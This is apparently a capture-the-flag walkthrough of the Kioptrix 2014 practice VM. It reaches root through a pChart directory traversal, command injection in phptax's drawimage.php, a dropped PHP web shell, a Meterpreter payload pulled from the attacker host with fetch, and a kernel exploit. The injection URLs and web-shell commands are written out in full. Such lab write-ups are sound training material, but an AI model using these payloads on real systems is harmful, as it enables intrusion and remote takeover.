After a 2 year (hiatus?) since the last Kioptrix VM challenge, loneferret has released Kioptrix 2014. This is still an ‘entry level’ challenge, though it does have some interesting spins typical of loneferret’s style of VM challenges. The goal of the challenge is to obtain the flag.
[email protected]:~# nmap -n -sV -A -p- 192.168.1.125 22/tcp closed ssh 80/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8) | http-methods: Potentially risky methods: TRACE |_See http://nmap.org/nsedoc/scripts/http-methods.html |_http-title: Site doesn't have a title (text/html). 8080/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8) |_http-methods: No Allow or Public header in OPTIONS response (status code 403) |_http-title: 403 Forbidden Running: FreeBSD 9.X OS CPE: cpe:/o:freebsd:freebsd:9 OS details: FreeBSD 9.0-RELEASE
Since only web services are available, nikto and wfuzz seemed like a good place to start.
[email protected]:~# nikto -h 192.168.1.125 -Display 124; nikto -h 192.168.1.125:8080 -Display 124 [email protected]:~# wfuzz -c -zfile,/usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://192.168.1.125/FUZZ/
Nothing came back from these scans and I noticed in particular, the
wfuzz scans were running very slowly. I did some checking to make sure it wasn’t my network playing up, and evenutually concluded that some sort of server-side filtering must be taking place. Although I had some ideas about how this could be achieved, I didn’t proceed with any assumptions, save one. The only thing I knew is that directories and issues could exist, that neither
wfuzz could report, so I couldn’t trust them one bit.
Visiting the page on 8080 in
Iceweasel results in the same forbidden message reported by
nmap. Whereas the page on 80 appears to be the default apache index page.
However, I had a look at the source code for this page, and there was an HTML comment present which is not normally there.
META HTTP-EQUIV="refresh" CONTENT="5;URL=pChart2.1.3/index.php"
This gives away the presence of another webapp. Typing the address in manually takes you to
A bit of research into
pChart showed that this version has a directory traversal vulnerability - providing the opportunity to check out the Apache config files. One of loneferret’s curve-balls regarding this VM is the use of FreeBSD, for which the default location of apache differs from other Linux distro’s.
Giving this file a good read reveals the method behind the web filtering - by useragent.
SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser VirtualHost *:8080 DocumentRoot /usr/local/www/apache22/data2 Directory "/usr/local/www/apache22/data2" Options Indexes FollowSymLinks AllowOverride All Order allow,deny Allow from env=Mozilla4_browser /Directory
Out of interest, I went and checked the apache error log and saw the records of all my scanning attempts getting blocked.
[error] [client 192.168.1.120] client denied by server configuration
So Apache is checking for a particular useragent string, and rejects requests if it doesn’t match this string. I went back to run
nikto again, with the additional option:
-useragent Mozilla/4.0 Mozilla4_browser
The results for 80 were the same as before, but the results for 8080 were vastly different. I used a plugin for
Iceweasel that allows you to define the useragent strings and visited the page in my browser.
Instead of getting the forbidden message as before, I was given a directory listing which contained another webapp.
More research told me that this application was vulnerable to RCE - at last something that would help me get a shell!
It turns out the version of
netcat built within FreeBSD does not support the
-e option. I tried playing with the backpipe method, but this didn’t seem to work - the connection to my machine would instantly drop.
I wanted to test if the
www user could write into the current directory.
192.168.1.125:8080/phptax/drawimage.php?pfilez=xxx;id>test.txt;&pdf=make http://192.168.1.125:8080/phptax/test.txt uid=80(www) gid=80(www) groups=80(www)
I wanted an easier way to execute my commands, so echo’d some very simple php code into a file.
192.168.1.125:8080/phptax/drawimage.php?pfilez=xxx;echo '< ?php system($_GET[cmd]); ? >'>cmd.php;&pdf=make
Next, I went ahead and generated a Meterpreter PHP payload, and placed it within
/var/www/ (and started the apache service). It didn’t appear as though the usual suspects (
wget etc) were installed, but this being FreeBSD I went in search of other tools which may be present.
Fetch was one such tool and behaves just like
http://192.168.1.125:8080/phptax/cmd.php?cmd=fetch%20http://192.168.1.120/shell.txt http://192.168.1.125:8080/phptax/cmd.php?cmd=ls cmd.php data drawimage.php files icons.inc index.php maps pictures readme shell.txt ttf
Confirmed the file was there (I also cat’d it). Next, I renamed the file to give it a .php extension.
Then executed it (not before setting up my listener in the Metasploit Framework).
It turned out that escalating myself to root was relatively simple. I found a suitable kernel exploit and transfered it across using
netcat. Compiled and ran:
gcc x.c -o x ./x [+] SYSRET FUCKUP!! [+] Start Engine... [+] Crotz... [+] Crotz... [+] Crotz... [+] Woohoo!!! id uid=0(root) gid=0(wheel) groups=0(wheel) cat congrats.txt If you are reading this, it means you got root (or cheated). Congratulations either way...